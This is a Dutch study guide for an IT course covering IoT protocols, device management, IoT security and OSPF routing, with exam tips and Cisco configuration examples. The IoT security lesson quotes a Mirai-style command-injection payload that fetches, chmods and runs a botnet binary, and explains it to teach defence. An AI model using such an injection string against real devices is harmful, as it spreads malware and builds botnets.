study material

Study material sprint 3, 4 & 5

All theory that can appear on the exam, per subject and per lesson, with the exam traps. After each lesson you can practise straight away.

IoTANWCloud (CLIM)Automation17 lessons

This study material is in Dutch, the language of the course. Technical terms stay in English, as in the slides.

Zo werkt deze module

Deze uitleg is gemaakt uit de presentaties van sprint 3, 4 en 5 (ook de verborgen dia's en de notities onder de dia's) en uit de werkboeken. De docenten zeggen allemaal hetzelfde: de toetsvragen komen uit de presentaties, de notities, het werkboek (de stukjes "lesstof tentamen" / "exam material") en de documenten op Canvas. Bij ANW staat er bij moment 7, 8 en 9 zelfs expliciet: "let op de hidden slides".

VakWat je moet kunnen
IoTOngeveer 3 vragen per IoT-les per theorietoets, gebaseerd op de presentaties en de achtergrondinformatie daarin (werkboek IoT, 2.2).
ANWDe Cisco-stof (CCNA 3 hoofdstuk 8–10, CCNA 4 hoofdstuk 1–5): begrippen, getallen, commando's en hoe je iets configureert en controleert.
CloudAlles uit de PowerPoints en de notities, de commando's uit de labs "in het algemeen" begrijpen, plus de hoofdstukken uit Architecting the Cloud (Kavis).
AUTAlles uit de PowerPoints en het werkboek. Code kunnen lezen en een fout uit een Flask-script halen. Bij Salt: welke services nodig zijn, waarvoor, en hoe je ze globaal configureert (de precieze configuratiefiles hoef je niet te kennen).

Achter elke les staat een sprintlabel (S3, S4, S5). Onder elke les staat een link naar de oefenvragen van die les. In de oefentoets kun je ook per sprint oefenen en een proeftoets doen.

Zo gebruik je de blokkenEen oranje blok is een toetsval: iets wat vaak wordt verward of waar een strikvraag over kan komen. Een grijs blok is achtergrond die helpt om het te snappen.
AchtergrondWaar iets niet letterlijk in de dia's staat maar je het nodig hebt om de dia's te begrijpen (bijvoorbeeld een poortnummer of een AD-waarde), staat dat in zo'n grijs blok.

Vak 01 · 3 lessen

IoT

IoT bij CSC gaat vooral over de Internet-kant: welke protocollen en netwerkstandaarden je gebruikt en hoe je een omgeving met heel veel clients opzet. Hardware in de labs: de Heltec WiFi LoRa 32 (V3), een ESP32-bord. IoT 1 en 2 (wat is IoT, netwerk L1–L2) waren sprint 1 en 2.

S3IoT 3 · Netwerk L3–L7

"Up the stack": van de netwerklaag naar de applicatie. IP is bij IoT niet vanzelfsprekend, er zijn speciale berichtprotocollen (MQTT, CoAP), en data gaat vaak base64- of binair gecodeerd over de lijn.

IoT-stack naast de webstack

Laag (TCP/IP)WebstackIoT-stack
Data formatHTML, XML, JSONJSON, CBOR, binair
ApplicatieHTTP, DNSCoAP, MQTT
SecurityTLSDTLS
TransportTCP, UDPUDP
Internet (netwerk)IPv4/IPv6, IPsecIPv6/IP-routing + 6LoWPAN
DatalinkEthernet, Wi-FiIEEE 802.15.4 MAC
FysiekEthernet, Wi-FiIEEE 802.15.4 PHY
  • IEEE 802.15.4 is de standaard voor low-rate wireless personal area networks (LR-WPAN). Zigbee en 6LoWPAN bouwen hierop. PHY in Europa: 868,0–868,6 MHz met één kanaal; wereldwijd 2400–2483,5 MHz met tot zestien kanalen.
  • 6LoWPAN = IPv6 over Low-Power Wireless Personal Area Networks. Een IPv6-header van 40 bytes is te groot voor de kleine 802.15.4-frames, dus de IETF-werkgroep 6LoWPAN maakte uitbreidingen (vooral headercompressie) zodat IPv6 toch past.
  • IPv6 kan ook samen met Bluetooth LE.

Laag 3 per technologie

TechnologieL3-protocolL3-adresseringRouting
LoRaWANLoRaWAN network serverDevAddrCentraal via de network server
Wi-FiIPv4/IPv6IPIP-based
BLEGeen48-bit MACGeen
ZigbeeZigbee NWK (proprietary)16-bit short of 64-bit extendedMesh
ThreadIPv6IP (EUI-64)IP-based mesh
5GIPv6IPIP-based
  • Thread is het enige low-power meshprotocol in dit rijtje dat native IP is. Het is relatief nieuw, een L3-protocol, en bedoeld om het gebrek aan IP-support van Zigbee op te lossen met vergelijkbaar stroomverbruik, bereik en mesh. Het gebruikt een "OSPF-achtig" model voor meshrouting met volledige IPv6 op de devices. Zigbee IP (deprecated) is vervangen door Thread.
  • Matter is een open standaard voor smart-home-communicatie op laag 4–7 (applicatie) en draait vaak over Thread met IPv6. Alexa, Google Home en Apple Home ondersteunen Matter. In Matter: BTP = Bluetooth Transport Protocol, MRP = Matter Reliability Protocol.
  • 5G kan ook IPv4, maar IPv6 heeft de voorkeur en er zijn veel IPv6-only-netwerken.
  • Wi-Fi en 5G zijn het best voor IP-native toepassingen met veel throughput. LoRaWAN, Zigbee en BLE hebben een gateway of protocolvertaling nodig om op een IP-netwerk te komen.
  • Transport (L4) wordt vaak samen met de hogere lagen "gebundeld" in een oplossing. Als het transport IP is, zie je meestal UDP, want dat is lichtgewicht.

Message passing in IoT

Dit zijn de "sessielaag"-protocollen. Je kunt ze ook applicatielaag noemen: ze geven een high-level API (applicatielaag), regelen encryptie (presentatielaag) en beheren sessies (sessielaag). Ze dekken dus de bovenste lagen van het OSI-model.

ProtocolWat de docent erover zegt
CoAP — Constrained Application Protocol"REST voor kleine apparaten", over UDP. Uitgebreid in IoT 4.
MQTT — Message Queue Telemetry TransportPublish/subscribe via een broker. Deze les.
XMPP — Extensible Messaging and Presence ProtocolOuderwets, steeds minder gebruikt.
RESTful services (HTTP/REST)Behandeld bij andere vakken.
AMQP — Advanced Message Queuing ProtocolSoms nog in de cloud (server-server), meestal niet meer op de IoT-edge-devices.
WebsocketsAls je bidirectioneel verkeer nodig hebt, maar niet echt lightweight.
gRPC (Google Remote Procedure Call)Steeds vaker gebruikt, maar buiten de scope van de cursus.

MQTT

  • Asynchroon publish/subscribe (pub/sub) bovenop TCP. Uitgebracht door IBM, gestandaardiseerd door OASIS, voor lichtgewicht M2M-communicatie.
  • Client/server-model: de broker (de server) bevat de topics. Clients zijn publisher (sturen naar een topic) of subscriber (krijgen de berichten van de topics waarop ze zijn geabonneerd). Alle communicatie loopt via de broker: de apparaten zien elkaar niet.
  • Ontworpen voor weinig bandbreedte en laag batterijverbruik. Werd onder andere gebruikt voor Facebook Messenger.
  • Beveiliging met TLS/SSL.
  • Software: Mosquitto als broker op Linux, MQTT.fx of MQTT Explorer als GUI-client, mosquitto_sub op de commandline.

Drie QoS-niveaus:

QoSNaamHoe
0Fire and forget (at most once)Eén keer verstuurd, geen acknowledgement.
1Delivered at least onceAck verplicht; kan dubbel aankomen.
2Delivered exactly onceAck verplicht, met een four-way handshake zodat het precies één keer aankomt.

Topics en wildcards. Topics zijn hiërarchisch met /, bijvoorbeeld house/room1/tmp.

  • + is een wildcard voor één niveau: house/rooms/+/sensors/temperature matcht elke kamer.
  • # is een wildcard voor alles daaronder en mag alleen aan het eind: house/#.
# voorbeeld uit de dia: sensor en display via de broker
1  sensor  → broker : connect
2  display → broker : connect
3  display → broker : subscribe house/#
4  sensor  → broker : publish house/room1/tmp 22.1
5  broker  → display: publish house/room1/tmp 22.1
AchtergrondStandaardpoorten (niet in de dia's): MQTT 1883, MQTT over TLS 8883. In het lab stuurt ChirpStack de LoRaWAN-berichten door naar MQTT; je vindt ze onder het topic application/<id>/device/<devEUI>/….
ToetsvalMQTT draait over TCP, CoAP over UDP. En: bij MQTT praten de clients nooit rechtstreeks met elkaar, alles gaat via de broker.

Base64

Base64 gebruik je om binaire data te versturen waar tekst wordt verwacht, bijvoorbeeld een .jpg in JSON. In het lab staat de LoRaWAN-payload base64-gecodeerd in het veld data.

  • Er worden 64 tekens gebruikt: A–Z (0–25), a–z (26–51), 0–9 (52–61), + (62) en / (63). Elk teken staat dus voor 6 bits.
  • Base64 werkt met blokken van 24 bits (3 bytes) die worden opgesplitst in 4 groepen van 6 bits. 3 bytes in, 4 tekens uit.
  • Padding met = zorgt dat de lengte altijd een veelvoud van 4 tekens is. Is de invoer geen veelvoud van 3 bytes, dan vul je aan met nullen, en tekens die alleen uit opvulling bestaan worden =.
# "Man"  (3 bytes, geen padding)
ASCII      M=77      a=97      n=110
binair     01001101  01100001  01101110
6-bits     010011 010110 000101 101110
decimaal   19     22     5      46
base64     T      W      F      u        → "TWFu"

# "Ma"  (2 bytes, één byte padding)
binair     01001101  01100001  00000000   ← 8 nullen erbij
6-bits     010011 010110 000100 000000
decimaal   19     22     4      (pad)
base64     T      W      E      =        → "TWE="

# "M"  (1 byte, twee bytes padding)  → "TQ=="

ASCII is een 7-bitscode (man ascii op elke Unix toont de tabel). Decoderen op Linux: echo TWFu | base64 -d, en met od kun je de bytes bekijken.

ToetsvalBase64 is geen encryptie, alleen een codering. En de uitvoer is altijd ongeveer een derde groter dan de invoer (3 bytes worden 4 tekens).

DTLS

DTLS = Datagram Transport Layer Security. Gebaseerd op TLS, maar aangepast voor UDP in plaats van TCP. Het geeft versleuteling, authenticatie en integriteit voor UDP-verkeer, en werkt ook als pakketten verloren gaan, in een andere volgorde of dubbel aankomen. CoAP (en dus Matter en LwM2M) gebruikt DTLS.

Dataformaten

JSONXMLCBOR
VoluitJavaScript Object NotationeXtensible Markup LanguageConcise Binary Object Representation
FormaatTekstTekstBinair
LeesbaarJaJa, maar breedsprakigNee
GrootteGemiddeldGroot (door de tags)Zeer compact
ParsenSnelLangzamerZeer snel
SchemaOptioneel (JSON Schema)Sterk (XSD, DTD)Optioneel (CBOR Schema)
DatatypesBasis (string, number, array, object)Tekstgebaseerd, uitbreidbaarRijk (binair, float, datum…)
In IoTVeel (bijv. MQTT)Zelden (te zwaar)Ideaal (CoAP, Matter)
In web-API'sHeel veelLegacyZelden (groeit in IoT)
  • YAML is een superset van JSON: elk geldig JSON-bestand is ook geldige YAML, maar niet andersom.
  • ProtoBuf hoort bij gRPC en valt buiten de scope.
  • jq is een handig tool om JSON te formatteren.

LoRaWAN en ChirpStack

  • LoRa is alleen een PHY-protocol: je kunt er simpele berichten mee over een radionetwerk sturen, er is geen MAC-laag. LoRaWAN bouwt op LoRa en voegt de MAC-laag toe, plus de integratie in een service/platform. Daarmee kun je grote aantallen clients beheren en het spectrum eerlijk verdelen.
  • ChirpStack is een open-source LoRaWAN-"platform": je draait alle serverdiensten zelf voor een private LoRaWAN. Alternatief is PaaS, zoals The Things Network of KPN (KPN noemt het LoRa, maar het is LoRaWAN).
  • Architectuur ChirpStack: LoRa-gateways (UDP Packet Forwarder of Basics Station) → ChirpStack Gateway Bridge → MQTT-broker → ChirpStack → integraties (MQTT, HTTP, …). API-clients praten met gRPC met ChirpStack.

Adressen (EUI's = Extended Unique Identifiers)

IdentifierLengteDoelToegekend doorVersie
DevEUI64-bitIdentificeert het device uniekFabrikant (IEEE EUI-64)Alle versies
AppEUI64-bitIdentificeert de applicatieApplicatie-/netwerkproviderLoRaWAN 1.0.x
JoinEUI64-bitIdentificeert de Join Server (vervangt AppEUI)ApplicatieproviderLoRaWAN 1.1+

De les gebruikt LoRaWAN 1.0.x. Na het joinen krijgt het device een DevAddr: het adres voor de sessie.

Activatie: OTAA (Over-the-Air Activation) in LoRaWAN 1.0

  1. Vooraf: device en network server kennen allebei de AppKey.
  2. Het device stuurt een Join-request met DevEUI, AppEUI/JoinEUI en een random nonce.
  3. De network server verwerkt het en genereert twee sessiesleutels: NwkSKey en AppSKey.
  4. De network server stuurt een versleutelde Join-accept terug (met o.a. de DevAddr).
  5. De network server houdt de NwkSKey en geeft de AppSKey aan de application server.
  6. Het device ontsleutelt de Join-accept (AES) en leidt met de AppKey en de AppNonce zelf dezelfde twee sessiesleutels af.

In LoRaWAN 1.1 is er een aparte Join Server, die via de JoinEUI wordt gevonden.

ToetsvalDe AppKey is de vooraf gedeelde root-sleutel. NwkSKey (netwerk, blijft bij de network server) en AppSKey (applicatiedata, gaat naar de application server) zijn sessiesleutels die bij elke join opnieuw worden afgeleid.

Uit het lab (weekopdracht): in ChirpStack maak je een application en een device (Heltec-profiel), genereer je de Join EUI en de AppKey, en zet je die als byte-array in de C++-code (3a4c wordt { 0x3a, 0x4c }). Je ziet onder Events en LoRaWAN frames de berichten. Opvallend: je stuurt 00010203 en krijgt 01000302 terug: dat komt door endianness (de bytevolgorde). Via Queue zet je een downlink in de wachtrij. Alles vanaf het joinen kan alleen op de HU, want je hebt een LoRaWAN-gateway nodig.

Lesopdracht: Bluetooth Low Energy

  • Je hebt twee Heltecs nodig: een BLE-server en een BLE-client. De client verandert elke seconde een characteristic op de server.
  • Pas de serviceUUID aan naar een eigen, unieke UUID (uuidgen). Doe je dat niet, dan praat iedereen in het lokaal door elkaar: de UUID geeft je client en server hun eigen "kanaal".
  • Om de characteristic in loop() te kunnen gebruiken moet de variabele een globale variabele zijn (scope). delay(2000) wacht 2000 milliseconden. Met de callback onWrite() van BLECharacteristicCallbacks kun je reageren op elke write.
  • Waarom is BLE niet geschikt voor beheer op grote schaal? Kort bereik (meters tot enkele tientallen meters), geen L3/IP en dus geen routing, en het is point-to-point tussen twee apparaten in plaats van een netwerk met centraal beheer.

S4IoT 4 · Device data en management

Hoe registreer, configureer, update en bewaak je duizenden apparaten "in het veld", en wat doe je met hun data?

Lifecycle management

Een IoT-device doorloopt: implementatie → gebruik → onderhoud → buitengebruikstelling. De bootstrap is meestal geregeld via een ROM-bootimage of loader. Denk ook aan secure boot en een hardware root of trust (komt in S4 van de opleiding terug).

Registratie en provisioning

Provisioning is het proces waarbij een apparaat wordt voorbereid en geconfigureerd om veilig en correct te werken binnen een netwerk of platform. Dat omvat meestal:

  1. Identificatie: elk apparaat krijgt een unieke identiteit (serienummer, certificaat, MAC-adres).
  2. Netwerkparameters: Wi-Fi- of mobiele instellingen, IP-adressen, DNS-servers.
  3. Beveiligingsinstellingen: certificaten of sleutels installeren, toegangsrechten en authenticatie instellen.
  4. Toewijzing aan een beheerplatform, bijvoorbeeld Azure IoT Hub of AWS IoT Core.
  5. Configuratieprofielen: rapportage-interval, sensorgevoeligheid, firmwareversie.
  • Zero-touch provisioning: automatische onboarding op grote schaal, zonder dat iemand elk apparaat handmatig instelt.
  • Authenticatie: alleen vertrouwde apparaten toelaten, bijvoorbeeld met X.509-certificaten.

Configuration management op afstand

De devices zijn "in the field", dus configureren gebeurt op afstand, met apparaattemplates en configuratieprofielen. Een voorbeeld van zo'n beheerprotocol is LwM2M.

CoAP

  • Constrained Application Protocol, "REST for the little guy": dezelfde REST-gedachte (methodes als GET en POST op een URI), maar met heel weinig overhead, over UDP.
  • CoAP-berichten zijn binair, HTTP/REST is tekst. Een HTTP-request is al snel ~100+ bytes; hetzelfde CoAP-bericht is ~25 bytes. De payload zelf kan nog steeds JSON of CBOR zijn.
# POST /light {"state":"on"} als CoAP-bericht (~25 bytes)
44            versie, type (Confirmable), token-lengte
02            code (POST)
7d 34         message ID
c1 01 …       optie: URI-path "light"
ff            payload marker
7b 22 73 74…  payload {"state":"on"} in UTF-8
HTTPCoAP
TransportTCPUDP
OverheadHoogLaag
BerichtformaatTekst (ASCII)Binair (compact)
Ontworpen voorWebbrowsersIoT-devices
BetrouwbaarheidIngebouwd (TCP)Optioneel (confirmable messages)
SecurityTLSDTLS
AchtergrondCoAP gebruikt standaard UDP-poort 5683 (met DTLS 5684). Een confirmable bericht moet met een ACK worden bevestigd; een non-confirmable niet. Zo bouwt CoAP zelf betrouwbaarheid bovenop UDP als je die nodig hebt.

LwM2M

  • Lightweight Machine to Machine, ontwikkeld door de Open Mobile Alliance (OMA), voor apparaatbeheer en telemetrie, efficiënt voor apparaten met beperkte middelen.
  • Gebaseerd op CoAP, beveiligd met DTLS.
  • Client/server: het apparaat is de client, de beheerapplicatie is de server.
  • Gestandaardiseerde objecten en interfaces:
    • Device Registration: het apparaat meldt zich aan bij de server.
    • Bootstrap: het initiële configuratieproces (serveradressen, beveiliging).
    • Object Model: datastructuren zoals locatie, batterijstatus, firmware.
    • Remote Management: instellingen wijzigen, herstarten, firmware-updates.
  • Een beheerder kan zo bijvoorbeeld het rapportage-interval van een sensor wijzigen, de firmwareversie controleren en bijwerken, of de locatie opvragen.

Updates: OTA

Een update in het veld heet een Over The Air (OTA)-update. Het is cruciaal dat dat kan, en dan:

  • Betrouwbaar: als het misgaat is je device "gebrickt" (een baksteen geworden) zonder dat je erbij kunt. Zorg voor een rollback-mogelijkheid die je op afstand kunt starten.
  • Veilig: alleen de rechtmatige beheerder mag updaten, geen bad actor.
  • Snel: bij een security-incident (zero-day) moet een update niet weken duren.
  • Met minimale netwerkimpact: als 1.000.000 devices precies tegelijk (NTP-gesynchroniseerd) een update ophalen, is geen server of CDN groot genoeg. Smeer het uit over de tijd: creëer niet je eigen DDoS.
  • Met minimale downtime: hoe langer down, hoe langer de dienst niet werkt.

In het begin van IoT was het gebrek aan goede updates een groot probleem. Veel "smart TV's" draaien heel oude software en zijn daardoor een gewild doelwit om een botnet voor een DDoS-aanval te bouwen.

Labs: lesopdracht = OTA-update via Wi-Fi opzetten op de Heltec (LoRa is niet geschikt: te weinig bandbreedte voor firmware). Weekopdracht = OTA in de keten: ChirpStack stuurt een downlink UPDATE_AVAILABLE, het device zet Wi-Fi aan, downloadt de firmware via HTTP(S), voert de OTA uit, reboot en meldt de nieuwe versie terug via LoRaWAN.

Monitoring en SIEM

  • Health checks: batterijstatus, connectiviteit, sensorstatus.
  • Telemetrie: realtime prestatiegegevens.
  • Waarschuwingen en logboeken: integratie met een SIEM of dashboards.

SIEM = Security Information and Event Management: een systeem dat beveiligingsgegevens uit verschillende bronnen verzamelt, analyseert en correleert. Een SIEM doet:

  1. Verzamelen van loggegevens (firewalls, routers, servers, applicaties, IoT-apparaten).
  2. Normalisatie en opslag, voor analyse en compliance.
  3. Detectie van bedreigingen met correlatieregels en gedragsanalyse.
  4. Waarschuwingen en rapportage: automatische meldingen en dashboards.
  5. Ondersteuning bij incidentrespons.

Data management

FaseWat
VerzamelingSensorgegevens (temperatuur, beweging, locatie). Event-driven vs. continu: kiezen om bandbreedte en energie te sparen (denk aan poll vs. push uit sprint 1). Gateways doen aggregatie en pre-processing.
OpslagEdge-opslag: lokaal, lage latentie; met bijvoorbeeld Apache Kafka cruciaal voor fault tolerance en high availability (een heel grote buffer). Cloudopslag: schaalbaar en centraal (Azure IoT Hub, S3, NoSQL). Bewaarbeleid: naleving en kostenbeheer.
Security en privacyEncryptie tijdens transport (TLS, "transport level security") en tijdens opslag (AES, "encryption at rest"). Rolgebaseerd toegangsbeheer. Naleving: GDPR, HIPAA, ISO 27001.
VerwerkingRealtime (stream analytics), batch (periodieke analyses), ETL-pijplijnen (Extract, Transform, Load).
VisualisatieDashboards (Grafana, Power BI, Kibana), voorspellende analyse (ML voor onderhoud), anomaliedetectie.

S5IoT 5 · Security en IoT in het project

Security challenges

  • Grote attack surface door veel verspreide apparaten.
  • Beperkte rekenkracht en geheugen.
  • Verouderde software en/of zwakke protocollen.
  • Fysieke toegang tot apparaten vergroot het risico op manipulatie.
  • Samen: het ideale botnet voor een DDoS-aanval.

Voorbeeld: het Mirai-botnet

  • Begon simpel met IoT-devices die nog well-known (standaard) credentials hadden.
  • Later met URL's die bugs uitbuiten: in een parameter van een GET-request staat een shell-commando (;$(cd /tmp; wget http://…/boatnet.arm7; chmod 777 boatnet.arm7; ./boatnet.arm7 …)). Dat is command injection: het apparaat voert de code uit, downloadt de malware, maakt die uitvoerbaar en start hem.
  • Daarna draait boatnet.arm7 op het apparaat en krijgt het instructies van de server (command and control).

Als je echt een server moet draaien

  • Zet de server liever niet direct op het internet.
  • Gebruik HTTP/1.1 en TLS met automatisch certificaatbeheer.
  • Accepteer alleen requests voor jouw hostname (de Host:-header), niet voor alleen het IP-adres. Scanners op internet benaderen IP-adressen.
  • Gebruik nginx of een andere bekende reverse proxy.

Maatregelen

MaatregelKanttekening uit de dia
Encryptie van communicatie (TLS/DTLS) en opslag (AES)Update de certificaten op tijd: veel storingen komen door verlopen certificaten.
Sterke authenticatie en autorisatie (certificaten, tokens)Revoke tokens, certificaten en credentials als dat nodig is.
Secure boot en firmware-integriteitscontroleGroot risico op gebrickte hardware als het niet goed gebeurt.
Regelmatige OTA-updates en patchbeheerWel met een back-out-procedure (brick-procedure).
Netwerksegmentatie en monitoring via SIEMFirewall / NAT / IDS waar mogelijk.
Ongebruikte devices uitzettenEen ongebruikt device kan nog steeds meedoen aan een DDoS.

IDS en IOC's

  • IDS = Intrusion Detection System, meestal op de router. Twee manieren:
    • Signature-based: activiteit vergelijken met een database van bekende aanvalspatronen (zoals antivirus).
    • Anomaly-based: een baseline van normaal gedrag maken en afwijkingen melden (handig voor onbekende dreigingen).
  • Indicators of Compromise (IOC): elke malware/botnet heeft een "signature", bijvoorbeeld een IP-adres of URL waar het contact mee zoekt voor instructies. Die wordt gedetecteerd en gemeld. Eigenlijk al te laat (het device is al besmet), en na detectie moet je de malware nog wel verwijderen. Verdacht verkeer kun je opzoeken in een IOC-database (bijvoorbeeld RST Cloud).
  • Verschil: een IDS kijkt naar verkeer; een SIEM (bijv. Splunk) verzamelt en correleert gegevens van de hele IT-omgeving.

Incidentrespons

  1. Detectie via SIEM en IDS/IPS.
  2. Isolatie van gecompromitteerde apparaten.
  3. Herstel via firmware-rollback en configuratieherstel.
  4. Rapportage van datalekken, bij de GDPR (AVG) binnen 72 uur.

AI-gedreven dreigingsdetectie, Zero Trust-architecturen, hardwaregebaseerde beveiliging (TPM, Secure Elements) en post-quantum cryptografie.

IoT in het project (EPI)

De voor de hand liggende keten voor Menno's sportschool: Sensor → ESP32 → Netwerk → DB → app/grafiek.

StapOpties uit de les
SensorRep count, check-in op locatie in een parcours, beveiliging/toegang, locatietracking (gesimuleerde GPS), hartslag met centrale logging.
NetwerkWi-Fi (iotroam), BLE, LoRaWAN via ChirpStack en MQTT, LoRa → Wi-Fi.
BerichtprotocolFormaat JSON of binair; transport-encoding; transportsecurity; protocol CoAP, MQTT of REST.
Database (op de Raspberry Pi)Encryption at rest? Relationeel of time-series: Postgres, InfluxDB, Prometheus.
ApplicatieGrafana, Prometheus; app of webclient; stacks als ChirpStack, Domoticz, Home Assistant, Google Home.
VerdermTLS, DTLS, RBAC, encryption at rest, OTA-firmware-update, logging, auditing, analytics, device management.

Vak 02 · 5 momenten

ANW

Advanced Networking volgt de Cisco-curriculum: CCNA 3 (OSPF) en CCNA 4 (WAN, PPP, branch connections, ACL's, security en monitoring). Moment 7, 8 en 9 zijn "korte versies": de docent zegt er nadrukkelijk bij let op de hidden slides. Die stof staat hieronder er ook in.

Praktijktoets 2 gaat met name over ANW 4 tot en met 9 (ANW 1–3 is niet uitgesloten): EIGRP, OSPF single- en multi-area, statische routes, IPv4 en IPv6, PPP met CHAP en PAP, BGP, GRE (zonder IPsec), extended ACL's, L2-security (beperkt) en SNMP. Ook mogelijk: inter-VLAN-routing, VLAN's, STP, standby. Extra punten: script, NETCONF en Ansible.

S3Moment 5 · Single-area OSPF

CCNA 3 hoofdstuk 8 (en het begin van 9). OSPF is het routingprotocol dat je in multi-vendornetwerken en grote, complexe netwerken gebruikt.

Herhaling: RIP en EIGRP

  • Successor: de beste route (laagste metric) naar een bestemming.
  • Feasible successor: de backuproute met de op één na laagste metric, die al klaarligt.
  • Reported distance (RD): de afstand die de buurrouter zelf meldt tot de bestemming. Feasible distance (FD): de totale afstand vanaf jouw router (RD + de kosten naar die buur).
  • Neighbor-, topologie- en routingtabel heeft EIGRP ook; OSPF heeft ze net zo.
AchtergrondEen route is pas een feasible successor als de RD ervan kleiner is dan de FD van de successor (de feasibility condition), zo weet EIGRP zeker dat het geen lus is.

Kenmerken van OSPF

  • Open Shortest Path First, een link-state-routingprotocol. OSPFv2 voor IPv4 (RFC 2328, 1998), OSPFv3 voor IPv6 (RFC 2740, 1999).
  • Gebruikt het Dijkstra shortest path first (SPF)-algoritme om de beste route te kiezen.
  • Gebruik: multi-vendornetwerken en complexe netwerken met veel routers en subnetten. Nadeel: gebruikt net als EIGRP meer resources (RAM, CPU, bandbreedte). Snel geconvergeerd na een wijziging, maar de eerste convergentie duurt langer dan bij de eerdere protocollen.
  • Routingwijzigingen triggeren updates (geen periodieke volledige updates).
  • Hiërarchisch ontwerp met areas: single-area (klein), multi-area (groot).
  • Authenticatie: v2 ondersteunt MD5 en SHA, v3 gebruikt IPsec.
  • Op een broadcastnetwerk: DR / BDR / DROTHER. Er zijn verschillende LSA-pakketjes voor de werking.
  • Administrative distance bepaalt welke route in de routingtabel komt als hij uit meerdere bronnen wordt geleerd: de laagste AD wint. OSPF heeft AD 110.
Achtergrond: AD-waardenDirect verbonden 0 · statisch 1 · eBGP 20 · EIGRP (intern) 90 · OSPF 110 · RIP 120 · iBGP 200.

De drie tabellen

DatabaseTabelInhoudBekijken
Adjacency databaseNeighbor tableAlle buurrouters waarmee tweerichtingscommunicatie is. Uniek per router.show ip ospf neighbor
Link-state database (LSDB)Topology tableInformatie over alle andere routers: de netwerktopologie. Gelijk voor alle routers in dezelfde area.show ip ospf database
Forwarding databaseRouting tableDe routes die het SPF-algoritme op de LSDB oplevert. Uniek per router.show ip route

Link-state-werking in stappen

  1. Routers sturen hello-pakketten om neighbor adjacencies op te bouwen.
  2. Ze floodden LSA's door de area met de kosten en de status van hun links.
  3. Elke router bouwt een topologietabel (LSDB).
  4. Elke router draait het SPF-algoritme en krijgt een SPF-boom met zichzelf als wortel.
  5. Elke router bouwt zijn routingtabel met het pad en de kosten naar elk netwerk.

OSPF-pakketten

OSPF zet zijn eigen header direct na de IP-header: IP-protocolnummer 89, bestemming multicast 224.0.0.5 (alle OSPF-routers) of 224.0.0.6 (DR/BDR). De OSPF-header bevat het pakkettype, de router-ID en de area-ID.

TypePakketDoel
1HelloBuren ontdekken en adjacencies opbouwen.
2Database Description (DBD)Verkorte lijst van de eigen LSDB, om te controleren of de databases synchroon zijn.
3Link-State Request (LSR)Om meer informatie vragen over een entry uit de DBD.
4Link-State Update (LSU)Antwoord op een LSR; bevat een of meer LSA's met route-informatie.
5Link-State Acknowledgment (LSAck)Bevestigt de andere pakkettypes.

Hello-pakket: ontdekt buren, bouwt adjacencies, adverteert de parameters waarover twee routers het eens moeten zijn om buren te worden, en kiest de DR en BDR op multi-access-netwerken (Ethernet, Frame Relay; niet op seriële point-to-point). Velden: type, hello interval, router priority (standaard 1, bereik 0–255), dead interval, DR en BDR (router-ID's), lijst van buren.

  • Hello interval: standaard 10 seconden op multi-access (Ethernet) en point-to-point, 30 seconden op NBMA (Frame Relay).
  • Dead interval: standaard 4 × hello (dus 40 s). Komt er binnen die tijd geen hello, dan haalt OSPF de buur uit de LSDB en floodt het die informatie.
  • Hello en dead interval moeten gelijk zijn op buurrouters op dezelfde link, anders worden ze geen buren.
  • IPv4: naar 224.0.0.5. IPv6: naar FF02::5.

LSA-types in een LSU: 1 router, 2 network, 3 of 4 summary, 5 AS external, 6 multicast OSPF, 7 NSSA, 8 external attributes voor BGP, 9–11 opaque. (Meer in moment 6.)

OSPF-states

StateWat gebeurt er
DownNog geen hello ontvangen; de router stuurt hello's.
InitEr komen hello's binnen met de router-ID van de zender.
Two-WayTweerichtingscommunicatie; op Ethernet worden hier de DR en BDR gekozen.
ExStartMaster/slave en het DBD-volgnummer afspreken; de master begint de DBD-uitwisseling.
ExchangeDBD's uitwisselen. Meer informatie nodig → Loading, anders → Full.
LoadingLSR's en LSU's halen de ontbrekende informatie op; SPF rekent.
FullDe databases zijn geconvergeerd (identiek).
ToetsvalFULL en 2WAY zijn normale eindtoestanden. 2WAY is normaal tussen twee DROTHERs op Ethernet (die worden geen volledige buren). Alle andere states zijn tijdelijk; blijft een router daar hangen, dan is er iets mis.

DR en BDR

Waarom een DR/BDR-verkiezing? Om het aantal LSA's te verminderen (alleen de DR stuurt de LSA's voor het gedeelde netwerk) en om het aantal adjacencies op een multi-access-netwerk zoals Ethernet te beperken. Bijvoorbeeld bij een serviceprovidernetwerk. De verkiezing en de details staan bij moment 6.

Router-ID

De router-ID is 32 bits en ziet eruit als een IPv4-adres, ook bij OSPFv3. De router kiest hem in deze volgorde:

  1. Het commando router-id x.x.x.x.
  2. Anders het hoogste loopback-IPv4-adres.
  3. Anders het hoogste actieve IPv4-adres op een fysieke interface.
  • Na het wijzigen van de router-ID: clear ip ospf process (in plaats van rebooten). Vergeet je dit, dan wordt de wijziging niet actief.
  • Vroeger bestond router-id nog niet; toen gebruikte je een loopback voor een stabiele router-ID. Een loopback is direct actief, dus als OSPF eerder start dan de andere interfaces is OSPF meteen actief. De router-ID adverteer je niet met een network-statement.
  • Controleren: show ip protocols of show ip ospf.

Configuratie van OSPFv2

R1(config)# router ospf 10                         ! process-id, lokaal betekenisvol
R1(config-router)# router-id 1.1.1.1
R1(config-router)# network 172.16.1.0 0.0.0.255 area 0   ! methode 1: netwerk + wildcard
R1(config-router)# network 172.16.3.1 0.0.0.0 area 0     ! methode 2: interface-IP + 0.0.0.0
R1(config-router)# passive-interface g0/0
R1(config-router)# auto-cost reference-bandwidth 1000
  • Met network geef je aan welke interfaces meedoen in OSPF. Veelgemaakte fout: denken dat je alle netwerken van de hele area moet opgeven. Een router met drie interfaces in area 0 heeft drie network-statements nodig.
  • Gebruik bij single-area het liefst area 0.
  • Wildcard mask = 255.255.255.255 min het subnetmasker. Bit 0 = moet overeenkomen, bit 1 = negeren. /24 → 0.0.0.255, /26 → 0.0.0.63, /30 → 0.0.0.3.
  • Passive interface: stuurt geen OSPF-berichten uit die interface, maar het netwerk wordt wel geadverteerd. Best practice voor interfaces met alleen gebruikers erachter: veiliger en geen verspilde bandbreedte. passive-interface default maakt alles passief.

Cost: de metric van OSPF

Cost = reference bandwidth / interface bandwidth. De standaard reference bandwidth is 100 Mbps (108 bps). Lagere cost = beter pad. De cost naar een netwerk is de som van alle costs van bron naar bestemming; in de routingtabel is het het tweede getal tussen de haken, bijvoorbeeld [110/65] = AD 110, cost 65.

InterfaceCost (ref 100 Mbps)Cost (ref 1000)Cost (ref 10000)
10 Gigabit Ethernet111
Gigabit Ethernet1110
Fast Ethernet (100 Mbps)110100
